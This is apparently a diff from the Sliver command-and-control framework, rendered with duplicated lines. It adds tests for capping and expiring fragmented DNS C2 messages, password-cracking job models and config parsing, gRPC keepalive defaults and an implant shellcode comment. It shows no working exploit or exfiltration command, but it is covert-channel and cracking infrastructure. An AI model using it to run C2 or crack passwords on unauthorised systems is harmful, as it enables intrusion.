func TestDecodeSubdataBase32(t *testing.T) {
|
func TestDecodeSubdataBase32(t *testing.T) {
|
||||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||||
|
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||||
payload := make([]byte, 64)
|
payload := make([]byte, 64)
|
||||||
rand.Read(payload)
|
rand.Read(payload)
|
||||||
original := &dnspb.DNSMessage{
|
original := &dnspb.DNSMessage{
|
||||||
@@ -476,7 +502,8 @@ func TestDecodeSubdataBase32(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func TestDecodeSubdataRejectsInvalid(t *testing.T) {
|
func TestDecodeSubdataRejectsInvalid(t *testing.T) {
|
||||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||||
|
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||||
_, _, err := listener.decodeSubdata("invalid")
|
_, _, err := listener.decodeSubdata("invalid")
|
||||||
if err != ErrInvalidMsg {
|
if err != ErrInvalidMsg {
|
||||||
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||||
@@ -484,7 +511,8 @@ func TestDecodeSubdataRejectsInvalid(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func TestDecodeSubdataRejectsInvalidProto(t *testing.T) {
|
func TestDecodeSubdataRejectsInvalidProto(t *testing.T) {
|
||||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||||
|
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||||
encoded, err := implantEncoders.Base32Encoder{}.Encode([]byte{0x00})
|
encoded, err := implantEncoders.Base32Encoder{}.Encode([]byte{0x00})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("encode failed: %s", err)
|
t.Fatalf("encode failed: %s", err)
|
||||||
@@ -570,6 +598,199 @@ func TestAccumulateInitDataReassembles(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestAccumulateInitDataCapsPendingInits(t *testing.T) {
|
||||||
|
server := newTestDNSServer()
|
||||||
|
|
||||||
|
// Only send a single fragment per INIT so each call allocates one pending init.
|
||||||
|
for i := 0; i < defaultMaxPendingDNSInits+10; i++ {
|
||||||
|
id := uint32(i + 1) // avoid zero
|
||||||
|
msg := &dnspb.DNSMessage{
|
||||||
|
Type: dnspb.DNSMessageType_INIT,
|
||||||
|
ID: id,
|
||||||
|
Size: 2048,
|
||||||
|
Start: 0,
|
||||||
|
Data: []byte{0xAA},
|
||||||
|
}
|
||||||
|
_, complete, err := server.accumulateInitData(msg)
|
||||||
|
if i < defaultMaxPendingDNSInits {
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("unexpected error for pending init %d: %v", i, err)
|
||||||
|
}
|
||||||
|
if complete {
|
||||||
|
t.Fatalf("unexpected completion for pending init %d", i)
|
||||||
|
}
|
||||||
|
if _, ok := server.messages.Load(id); !ok {
|
||||||
|
t.Fatalf("expected pending init %d to be stored", id)
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err != ErrInvalidMsg {
|
||||||
|
t.Fatalf("expected ErrInvalidMsg after cap, got %v", err)
|
||||||
|
}
|
||||||
|
if _, ok := server.messages.Load(id); ok {
|
||||||
|
t.Fatalf("expected pending init %d to not be stored after cap", id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if got := server.pendingInits.Load(); got != int64(defaultMaxPendingDNSInits) {
|
||||||
|
t.Fatalf("expected pendingInits=%d, got %d", defaultMaxPendingDNSInits, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
var count int64
|
||||||
|
server.messages.Range(func(key, value any) bool {
|
||||||
|
count++
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
if count != int64(defaultMaxPendingDNSInits) {
|
||||||
|
t.Fatalf("expected %d pending init entries, got %d", defaultMaxPendingDNSInits, count)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAccumulateInitDataCompletionCleansUpPendingInit(t *testing.T) {
|
||||||
|
server := newTestDNSServer()
|
||||||
|
client := dnsclient.NewDNSClient(example1, opts)
|
||||||
|
|
||||||
|
testData := make([]byte, 2048)
|
||||||
|
rand.Read(testData)
|
||||||
|
msg := &dnspb.DNSMessage{
|
||||||
|
Type: dnspb.DNSMessageType_INIT,
|
||||||
|
ID: 0x01020304,
|
||||||
|
Size: uint32(len(testData)),
|
||||||
|
}
|
||||||
|
domains, err := client.SplitBuffer(msg, implantEncoders.Base32Encoder{}, testData)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("SplitBuffer failed: %s", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
subMsgs := make([]*dnspb.DNSMessage, 0, len(domains))
|
||||||
|
for _, domain := range domains {
|
||||||
|
subdata := strings.TrimSuffix(domain, example1)
|
||||||
|
subdata = strings.ReplaceAll(subdata, ".", "")
|
||||||
|
raw, err := implantEncoders.Base32Encoder{}.Decode([]byte(subdata))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("decode subdata failed: %s", err)
|
||||||
|
}
|
||||||
|
subMsg := &dnspb.DNSMessage{}
|
||||||
|
if err := proto.Unmarshal(raw, subMsg); err != nil {
|
||||||
|
t.Fatalf("unmarshal submsg failed: %s", err)
|
||||||
|
}
|
||||||
|
subMsgs = append(subMsgs, subMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, subMsg := range subMsgs {
|
||||||
|
_, _, err := server.accumulateInitData(subMsg)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("accumulateInitData failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if got := server.pendingInits.Load(); got != 0 {
|
||||||
|
t.Fatalf("expected pendingInits=0 after completion, got %d", got)
|
||||||
|
}
|
||||||
|
if _, ok := server.messages.Load(msg.ID); ok {
|
||||||
|
t.Fatalf("expected pending init %d to be deleted after completion", msg.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAccumulateInitDataSizeMismatchCleansUpPendingInit(t *testing.T) {
|
||||||
|
server := newTestDNSServer()
|
||||||
|
id := uint32(0x01020304)
|
||||||
|
|
||||||
|
// First fragment creates pending state.
|
||||||
|
_, complete, err := server.accumulateInitData(&dnspb.DNSMessage{
|
||||||
|
Type: dnspb.DNSMessageType_INIT,
|
||||||
|
ID: id,
|
||||||
|
Size: 2048,
|
||||||
|
Start: 0,
|
||||||
|
Data: []byte{0xAA},
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("unexpected error creating pending init: %v", err)
|
||||||
|
}
|
||||||
|
if complete {
|
||||||
|
t.Fatal("unexpected completion creating pending init")
|
||||||
|
}
|
||||||
|
if got := server.pendingInits.Load(); got != 1 {
|
||||||
|
t.Fatalf("expected pendingInits=1, got %d", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Mismatched Size should reject and delete pending state.
|
||||||
|
_, _, err = server.accumulateInitData(&dnspb.DNSMessage{
|
||||||
|
Type: dnspb.DNSMessageType_INIT,
|
||||||
|
ID: id,
|
||||||
|
Size: 2049,
|
||||||
|
Start: 1,
|
||||||
|
Data: []byte{0xBB},
|
||||||
|
})
|
||||||
|
if err != ErrInvalidMsg {
|
||||||
|
t.Fatalf("expected ErrInvalidMsg for mismatched size, got %v", err)
|
||||||
|
}
|
||||||
|
if got := server.pendingInits.Load(); got != 0 {
|
||||||
|
t.Fatalf("expected pendingInits=0 after cleanup, got %d", got)
|
||||||
|
}
|
||||||
|
if _, ok := server.messages.Load(id); ok {
|
||||||
|
t.Fatalf("expected pending init %d to be deleted after size mismatch", id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGCPendingInitsExpiresOldEntries(t *testing.T) {
|
||||||
|
server := newTestDNSServer()
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
expiredAt := now.Add(-defaultPendingDNSInitTTL - time.Second)
|
||||||
|
freshAt := now.Add(-defaultPendingDNSInitTTL / 2)
|
||||||
|
|
||||||
|
expiredIDs := make([]uint32, 0, 10)
|
||||||
|
freshIDs := make([]uint32, 0, 5)
|
||||||
|
|
||||||
|
for i := 0; i < 10; i++ {
|
||||||
|
id := uint32(0x90000000 + i)
|
||||||
|
expiredIDs = append(expiredIDs, id)
|
||||||
|
server.messages.Store(id, &pendingInit{
|
||||||
|
Created: expiredAt,
|
||||||
|
Envelope: &PendingEnvelope{
|
||||||
|
Size: 1,
|
||||||
|
received: 0,
|
||||||
|
messages: map[uint32][]byte{},
|
||||||
|
mutex: &sync.Mutex{},
|
||||||
|
complete: false,
|
||||||
|
},
|
||||||
|
})
|
||||||
|
server.pendingInits.Add(1)
|
||||||
|
}
|
||||||
|
for i := 0; i < 5; i++ {
|
||||||
|
id := uint32(0xA0000000 + i)
|
||||||
|
freshIDs = append(freshIDs, id)
|
||||||
|
server.messages.Store(id, &pendingInit{
|
||||||
|
Created: freshAt,
|
||||||
|
Envelope: &PendingEnvelope{
|
||||||
|
Size: 1,
|
||||||
|
received: 0,
|
||||||
|
messages: map[uint32][]byte{},
|
||||||
|
mutex: &sync.Mutex{},
|
||||||
|
complete: false,
|
||||||
|
},
|
||||||
|
})
|
||||||
|
server.pendingInits.Add(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
server.gcPendingInits()
|
||||||
|
|
||||||
|
for _, id := range expiredIDs {
|
||||||
|
if _, ok := server.messages.Load(id); ok {
|
||||||
|
t.Fatalf("expected expired pending init %d to be deleted", id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _, id := range freshIDs {
|
||||||
|
if _, ok := server.messages.Load(id); !ok {
|
||||||
|
t.Fatalf("expected fresh pending init %d to remain", id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if got := server.pendingInits.Load(); got != int64(len(freshIDs)) {
|
||||||
|
t.Fatalf("expected pendingInits=%d, got %d", len(freshIDs), got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestSplitToChunksPadding(t *testing.T) {
|
func TestSplitToChunksPadding(t *testing.T) {
|
||||||
data := []byte{1, 2, 3, 4, 5, 6}
|
data := []byte{1, 2, 3, 4, 5, 6}
|
||||||
chunks := splitToChunks(data, 4)
|
chunks := splitToChunks(data, 4)
|
||||||
@@ -658,7 +879,6 @@ func newTestDNSServer() *SliverDNSServer {
|
|||||||
messages: &sync.Map{},
|
messages: &sync.Map{},
|
||||||
TTL: 0,
|
TTL: 0,
|
||||||
MaxTXTLength: defaultMaxTXTLength,
|
MaxTXTLength: defaultMaxTXTLength,
|
||||||
EnforceOTP: false,
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -860,3 +1080,53 @@ func randomBytes(size int) []byte {
|
|||||||
rand.Read(buf)
|
rand.Read(buf)
|
||||||
return buf
|
return buf
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestAccumulateInitDataRejectsOversizedInit(t *testing.T) {
|
||||||
|
server := newTestDNSServer()
|
||||||
|
msg := &dnspb.DNSMessage{
|
||||||
|
Type: dnspb.DNSMessageType_INIT,
|
||||||
|
ID: 0x01020304,
|
||||||
|
Size: defaultMaxDNSInitSize + 1,
|
||||||
|
Data: []byte{0x01},
|
||||||
|
}
|
||||||
|
|
||||||
|
_, _, err := server.accumulateInitData(msg)
|
||||||
|
if err != ErrInvalidMsg {
|
||||||
|
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAccumulateInitDataRejectsReceivedOverrun(t *testing.T) {
|
||||||
|
server := newTestDNSServer()
|
||||||
|
|
||||||
|
// Declared size is 8 bytes, but two chunks deliver 10 bytes total.
|
||||||
|
first := &dnspb.DNSMessage{
|
||||||
|
Type: dnspb.DNSMessageType_INIT,
|
||||||
|
ID: 0x0a0b0c0d,
|
||||||
|
Size: 8,
|
||||||
|
Start: 0,
|
||||||
|
Stop: 5,
|
||||||
|
Data: []byte("12345"),
|
||||||
|
}
|
||||||
|
second := &dnspb.DNSMessage{
|
||||||
|
Type: dnspb.DNSMessageType_INIT,
|
||||||
|
ID: 0x0a0b0c0d,
|
||||||
|
Size: 8,
|
||||||
|
Start: 5,
|
||||||
|
Stop: 10,
|
||||||
|
Data: []byte("67890"),
|
||||||
|
}
|
||||||
|
|
||||||
|
_, complete, err := server.accumulateInitData(first)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("unexpected error on first chunk: %v", err)
|
||||||
|
}
|
||||||
|
if complete {
|
||||||
|
t.Fatal("expected incomplete state after first chunk")
|
||||||
|
}
|
||||||
|
|
||||||
|
_, _, err = server.accumulateInitData(second)
|
||||||
|
if err != ErrInvalidMsg {
|
||||||
|
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-1
@@ -128,7 +128,7 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
|
|||||||
|
|
||||||
// StartDNSListenerJob - Start a DNS listener as a job
|
// StartDNSListenerJob - Start a DNS listener as a job
|
||||||
func StartDNSListenerJob(dnsListener *clientpb.DNSListenerReq) (*core.Job, error) {
|
func StartDNSListenerJob(dnsListener *clientpb.DNSListenerReq) (*core.Job, error) {
|
||||||
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries, dnsListener.EnforceOTP)
|
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries)
|
||||||
description := fmt.Sprintf("%s (canaries %v)", strings.Join(dnsListener.Domains, " "), dnsListener.Canaries)
|
description := fmt.Sprintf("%s (canaries %v)", strings.Join(dnsListener.Domains, " "), dnsListener.Canaries)
|
||||||
job := &core.Job{
|
job := &core.Job{
|
||||||
ID: core.NextJobID(),
|
ID: core.NextJobID(),
|
||||||
|
|||||||
+44
-4
@@ -52,10 +52,50 @@ func getCrackLegacyConfigPath() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
type crackConfigYAML struct {
|
type crackConfigYAML struct {
|
||||||
AutoFire bool `yaml:"AutoFire"`
|
AutoFire bool `yaml:"auto_fire"`
|
||||||
MaxFileSize int64 `yaml:"MaxFileSize"`
|
MaxFileSize int64 `yaml:"max_file_size"`
|
||||||
ChunkSize int64 `yaml:"ChunkSize"`
|
ChunkSize int64 `yaml:"chunk_size"`
|
||||||
MaxDiskUsage int64 `yaml:"MaxDiskUsage"`
|
MaxDiskUsage int64 `yaml:"max_disk_usage"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type crackConfigYAMLCompat struct {
|
||||||
|
AutoFire *bool `yaml:"auto_fire"`
|
||||||
|
MaxFileSize *int64 `yaml:"max_file_size"`
|
||||||
|
ChunkSize *int64 `yaml:"chunk_size"`
|
||||||
|
MaxDiskUsage *int64 `yaml:"max_disk_usage"`
|
||||||
|
|
||||||
|
AutoFireLegacy *bool `yaml:"AutoFire"`
|
||||||
|
MaxFileSizeLegacy *int64 `yaml:"MaxFileSize"`
|
||||||
|
ChunkSizeLegacy *int64 `yaml:"ChunkSize"`
|
||||||
|
MaxDiskUsageLegacy *int64 `yaml:"MaxDiskUsage"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *crackConfigYAML) UnmarshalYAML(node *yaml.Node) error {
|
||||||
|
var raw crackConfigYAMLCompat
|
||||||
|
if err := node.Decode(&raw); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if raw.AutoFire != nil {
|
||||||
|
c.AutoFire = *raw.AutoFire
|
||||||
|
} else if raw.AutoFireLegacy != nil {
|
||||||
|
c.AutoFire = *raw.AutoFireLegacy
|
||||||
|
}
|
||||||
|
if raw.MaxFileSize != nil {
|
||||||
|
c.MaxFileSize = *raw.MaxFileSize
|
||||||
|
} else if raw.MaxFileSizeLegacy != nil {
|
||||||
|
c.MaxFileSize = *raw.MaxFileSizeLegacy
|
||||||
|
}
|
||||||
|
if raw.ChunkSize != nil {
|
||||||
|
c.ChunkSize = *raw.ChunkSize
|
||||||
|
} else if raw.ChunkSizeLegacy != nil {
|
||||||
|
c.ChunkSize = *raw.ChunkSizeLegacy
|
||||||
|
}
|
||||||
|
if raw.MaxDiskUsage != nil {
|
||||||
|
c.MaxDiskUsage = *raw.MaxDiskUsage
|
||||||
|
} else if raw.MaxDiskUsageLegacy != nil {
|
||||||
|
c.MaxDiskUsage = *raw.MaxDiskUsageLegacy
|
||||||
|
}
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func crackConfigFromYAML(data []byte) (*clientpb.CrackConfig, error) {
|
func crackConfigFromYAML(data []byte) (*clientpb.CrackConfig, error) {
|
||||||
|
|||||||
@@ -17,6 +17,41 @@ func TestCrackConfigParsesYAML(t *testing.T) {
|
|||||||
t.Fatalf("failed to create config dir: %v", err)
|
t.Fatalf("failed to create config dir: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
data := []byte(`auto_fire: false
|
||||||
|
max_file_size: 2048
|
||||||
|
chunk_size: 1024
|
||||||
|
max_disk_usage: 4096
|
||||||
|
`)
|
||||||
|
if err := os.WriteFile(configPath, data, 0600); err != nil {
|
||||||
|
t.Fatalf("failed to write yaml config: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config, err := LoadCrackConfig()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("expected no error, got %v", err)
|
||||||
|
}
|
||||||
|
if config.AutoFire {
|
||||||
|
t.Fatalf("expected AutoFire false")
|
||||||
|
}
|
||||||
|
if config.MaxFileSize != 2048 {
|
||||||
|
t.Fatalf("expected MaxFileSize %d, got %d", 2048, config.MaxFileSize)
|
||||||
|
}
|
||||||
|
if config.ChunkSize != 1024 {
|
||||||
|
t.Fatalf("expected ChunkSize %d, got %d", 1024, config.ChunkSize)
|
||||||
|
}
|
||||||
|
if config.MaxDiskUsage != 4096 {
|
||||||
|
t.Fatalf("expected MaxDiskUsage %d, got %d", 4096, config.MaxDiskUsage)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCrackConfigParsesLegacyYAML(t *testing.T) {
|
||||||
|
t.Setenv("SLIVER_ROOT_DIR", t.TempDir())
|
||||||
|
|
||||||
|
configPath := getCrackConfigPath()
|
||||||
|
if err := os.MkdirAll(filepath.Dir(configPath), 0700); err != nil {
|
||||||
|
t.Fatalf("failed to create config dir: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
data := []byte(`AutoFire: false
|
data := []byte(`AutoFire: false
|
||||||
MaxFileSize: 2048
|
MaxFileSize: 2048
|
||||||
ChunkSize: 1024
|
ChunkSize: 1024
|
||||||
|
|||||||
@@ -30,8 +30,9 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
serverConfigFileName = "server.yaml"
|
serverConfigFileName = "server.yaml"
|
||||||
serverLegacyConfigFileName = "server.json"
|
serverLegacyConfigFileName = "server.json"
|
||||||
|
defaultGRPCKeepaliveMinTimeSeconds int64 = 30
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -59,6 +60,17 @@ type LogConfig struct {
|
|||||||
TLSKeyLogger bool `json:"tls_key_logger" yaml:"tls_key_logger"`
|
TLSKeyLogger bool `json:"tls_key_logger" yaml:"tls_key_logger"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GRPCKeepaliveConfig - gRPC keepalive enforcement settings
|
||||||
|
type GRPCKeepaliveConfig struct {
|
||||||
|
MinTimeSeconds int64 `json:"min_time_seconds" yaml:"min_time_seconds"`
|
||||||
|
PermitWithoutStream *bool `json:"permit_without_stream" yaml:"permit_without_stream"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// GRPCConfig - gRPC server settings
|
||||||
|
type GRPCConfig struct {
|
||||||
|
Keepalive *GRPCKeepaliveConfig `json:"keepalive" yaml:"keepalive"`
|
||||||
|
}
|
||||||
|
|
||||||
// DaemonConfig - Configure daemon mode
|
// DaemonConfig - Configure daemon mode
|
||||||
type DaemonConfig struct {
|
type DaemonConfig struct {
|
||||||
Host string `json:"host" yaml:"host"`
|
Host string `json:"host" yaml:"host"`
|
||||||
@@ -182,6 +194,7 @@ type ServerConfig struct {
|
|||||||
DaemonMode bool `json:"daemon_mode" yaml:"daemon_mode"`
|
DaemonMode bool `json:"daemon_mode" yaml:"daemon_mode"`
|
||||||
DaemonConfig *DaemonConfig `json:"daemon" yaml:"daemon"`
|
DaemonConfig *DaemonConfig `json:"daemon" yaml:"daemon"`
|
||||||
Logs *LogConfig `json:"logs" yaml:"logs"`
|
Logs *LogConfig `json:"logs" yaml:"logs"`
|
||||||
|
GRPC *GRPCConfig `json:"grpc" yaml:"grpc"`
|
||||||
Watchtower *WatchTowerConfig `json:"watch_tower" yaml:"watch_tower"`
|
Watchtower *WatchTowerConfig `json:"watch_tower" yaml:"watch_tower"`
|
||||||
GoProxy string `json:"go_proxy" yaml:"go_proxy"`
|
GoProxy string `json:"go_proxy" yaml:"go_proxy"`
|
||||||
HTTPDefaults *HttpDefaultConfig `json:"http_default" yaml:"http_default"`
|
HTTPDefaults *HttpDefaultConfig `json:"http_default" yaml:"http_default"`
|
||||||
@@ -257,6 +270,20 @@ func GetServerConfig() *ServerConfig {
|
|||||||
}
|
}
|
||||||
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
|
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
|
||||||
|
|
||||||
|
if config.GRPC == nil {
|
||||||
|
config.GRPC = &GRPCConfig{}
|
||||||
|
}
|
||||||
|
if config.GRPC.Keepalive == nil {
|
||||||
|
config.GRPC.Keepalive = &GRPCKeepaliveConfig{}
|
||||||
|
}
|
||||||
|
if config.GRPC.Keepalive.MinTimeSeconds <= 0 {
|
||||||
|
config.GRPC.Keepalive.MinTimeSeconds = defaultGRPCKeepaliveMinTimeSeconds
|
||||||
|
}
|
||||||
|
if config.GRPC.Keepalive.PermitWithoutStream == nil {
|
||||||
|
defaultPermit := true
|
||||||
|
config.GRPC.Keepalive.PermitWithoutStream = &defaultPermit
|
||||||
|
}
|
||||||
|
|
||||||
err := config.Save() // This updates the config with any missing fields
|
err := config.Save() // This updates the config with any missing fields
|
||||||
if err != nil {
|
if err != nil {
|
||||||
serverConfigLog.Errorf("Failed to save default config %s", err)
|
serverConfigLog.Errorf("Failed to save default config %s", err)
|
||||||
@@ -271,6 +298,7 @@ func GetServerConfig() *ServerConfig {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func getDefaultServerConfig() *ServerConfig {
|
func getDefaultServerConfig() *ServerConfig {
|
||||||
|
defaultPermitWithoutStream := true
|
||||||
return &ServerConfig{
|
return &ServerConfig{
|
||||||
DaemonMode: false,
|
DaemonMode: false,
|
||||||
DaemonConfig: &DaemonConfig{
|
DaemonConfig: &DaemonConfig{
|
||||||
@@ -282,6 +310,12 @@ func getDefaultServerConfig() *ServerConfig {
|
|||||||
GRPCUnaryPayloads: false,
|
GRPCUnaryPayloads: false,
|
||||||
GRPCStreamPayloads: false,
|
GRPCStreamPayloads: false,
|
||||||
},
|
},
|
||||||
|
GRPC: &GRPCConfig{
|
||||||
|
Keepalive: &GRPCKeepaliveConfig{
|
||||||
|
MinTimeSeconds: defaultGRPCKeepaliveMinTimeSeconds,
|
||||||
|
PermitWithoutStream: &defaultPermitWithoutStream,
|
||||||
|
},
|
||||||
|
},
|
||||||
HTTPDefaults: &HttpDefaultConfig{
|
HTTPDefaults: &HttpDefaultConfig{
|
||||||
Headers: []HttpDefaultHeader{
|
Headers: []HttpDefaultHeader{
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -138,15 +138,20 @@ func (c *CrackFileChunk) ToProtobuf() *clientpb.CrackFileChunk {
|
|||||||
// crack job contains the parent command, whose keyspace may get broken
|
// crack job contains the parent command, whose keyspace may get broken
|
||||||
// up into multiple crack tasks and distributed to multiple crackstations
|
// up into multiple crack tasks and distributed to multiple crackstations
|
||||||
type CrackJob struct {
|
type CrackJob struct {
|
||||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||||
CompletedAt time.Time
|
CompletedAt time.Time
|
||||||
Tasks []CrackTask
|
Err string
|
||||||
|
ResultFileID string
|
||||||
|
Tasks []CrackTask
|
||||||
|
|
||||||
Command CrackCommand // Parent command
|
Command CrackCommand // Parent command
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *CrackJob) Status() clientpb.CrackJobStatus {
|
func (c *CrackJob) Status() clientpb.CrackJobStatus {
|
||||||
|
if c.Err != "" {
|
||||||
|
return clientpb.CrackJobStatus_FAILED
|
||||||
|
}
|
||||||
if c.CompletedAt.IsZero() {
|
if c.CompletedAt.IsZero() {
|
||||||
return clientpb.CrackJobStatus_IN_PROGRESS
|
return clientpb.CrackJobStatus_IN_PROGRESS
|
||||||
}
|
}
|
||||||
@@ -158,9 +163,67 @@ func (c *CrackJob) Status() clientpb.CrackJobStatus {
|
|||||||
return clientpb.CrackJobStatus_COMPLETED
|
return clientpb.CrackJobStatus_COMPLETED
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// BeforeCreate - GORM hook
|
||||||
|
func (c *CrackJob) BeforeCreate(tx *gorm.DB) (err error) {
|
||||||
|
if c.ID == uuid.Nil {
|
||||||
|
c.ID, err = uuid.NewV4()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if c.CreatedAt.IsZero() {
|
||||||
|
c.CreatedAt = time.Now()
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *CrackJob) ToProtobuf() *clientpb.CrackJob {
|
||||||
|
job := &clientpb.CrackJob{
|
||||||
|
ID: c.ID.String(),
|
||||||
|
CreatedAt: c.CreatedAt.UTC().Format(time.RFC3339),
|
||||||
|
Status: c.Status(),
|
||||||
|
Err: c.Err,
|
||||||
|
Command: c.Command.ToProtobuf(),
|
||||||
|
ResultFileID: c.ResultFileID,
|
||||||
|
}
|
||||||
|
if !c.CompletedAt.IsZero() {
|
||||||
|
job.CompletedAt = c.CompletedAt.UTC().Format(time.RFC3339)
|
||||||
|
}
|
||||||
|
return job
|
||||||
|
}
|
||||||
|
|
||||||
|
func (CrackJob) FromProtobuf(c *clientpb.CrackJob) *CrackJob {
|
||||||
|
job := &CrackJob{}
|
||||||
|
if c == nil {
|
||||||
|
return job
|
||||||
|
}
|
||||||
|
jobID := uuid.FromStringOrNil(c.ID)
|
||||||
|
if jobID != uuid.Nil {
|
||||||
|
job.ID = jobID
|
||||||
|
}
|
||||||
|
if c.CreatedAt != "" {
|
||||||
|
if createdAt, err := time.Parse(time.RFC3339, c.CreatedAt); err == nil {
|
||||||
|
job.CreatedAt = createdAt
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if c.CompletedAt != "" {
|
||||||
|
if completedAt, err := time.Parse(time.RFC3339, c.CompletedAt); err == nil {
|
||||||
|
job.CompletedAt = completedAt
|
||||||
|
}
|
||||||
|
}
|
||||||
|
job.Err = c.Err
|
||||||
|
job.ResultFileID = c.ResultFileID
|
||||||
|
if c.Command != nil {
|
||||||
|
job.Command = *CrackCommand{}.FromProtobuf(c.Command)
|
||||||
|
job.Command.CrackJobID = job.ID
|
||||||
|
}
|
||||||
|
return job
|
||||||
|
}
|
||||||
|
|
||||||
// CrackTask - An individual chunk of a job sent to a specific crackstation
|
// CrackTask - An individual chunk of a job sent to a specific crackstation
|
||||||
type CrackTask struct {
|
type CrackTask struct {
|
||||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||||
|
CrackJobID uuid.UUID `gorm:"type:uuid;"`
|
||||||
CrackstationID uuid.UUID `gorm:"type:uuid;"`
|
CrackstationID uuid.UUID `gorm:"type:uuid;"`
|
||||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||||
StartedAt time.Time
|
StartedAt time.Time
|
||||||
@@ -201,6 +264,7 @@ type CrackCommand struct {
|
|||||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||||
CrackTaskID uuid.UUID `gorm:"type:uuid;"`
|
CrackTaskID uuid.UUID `gorm:"type:uuid;"`
|
||||||
|
CrackJobID uuid.UUID `gorm:"type:uuid;"`
|
||||||
|
|
||||||
// FLAGS
|
// FLAGS
|
||||||
AttackMode int32
|
AttackMode int32
|
||||||
|
|||||||
@@ -205,7 +205,7 @@ type ImplantConfig struct {
|
|||||||
IsShellcode bool
|
IsShellcode bool
|
||||||
|
|
||||||
RunAtLoad bool
|
RunAtLoad bool
|
||||||
// Shellcode options (Windows: Donut; macOS: beignet uses Compress only)
|
// Shellcode options (Windows: Donut; macOS/Linux: Compress only)
|
||||||
DonutEntropy uint32
|
DonutEntropy uint32
|
||||||
DonutCompress uint32
|
DonutCompress uint32
|
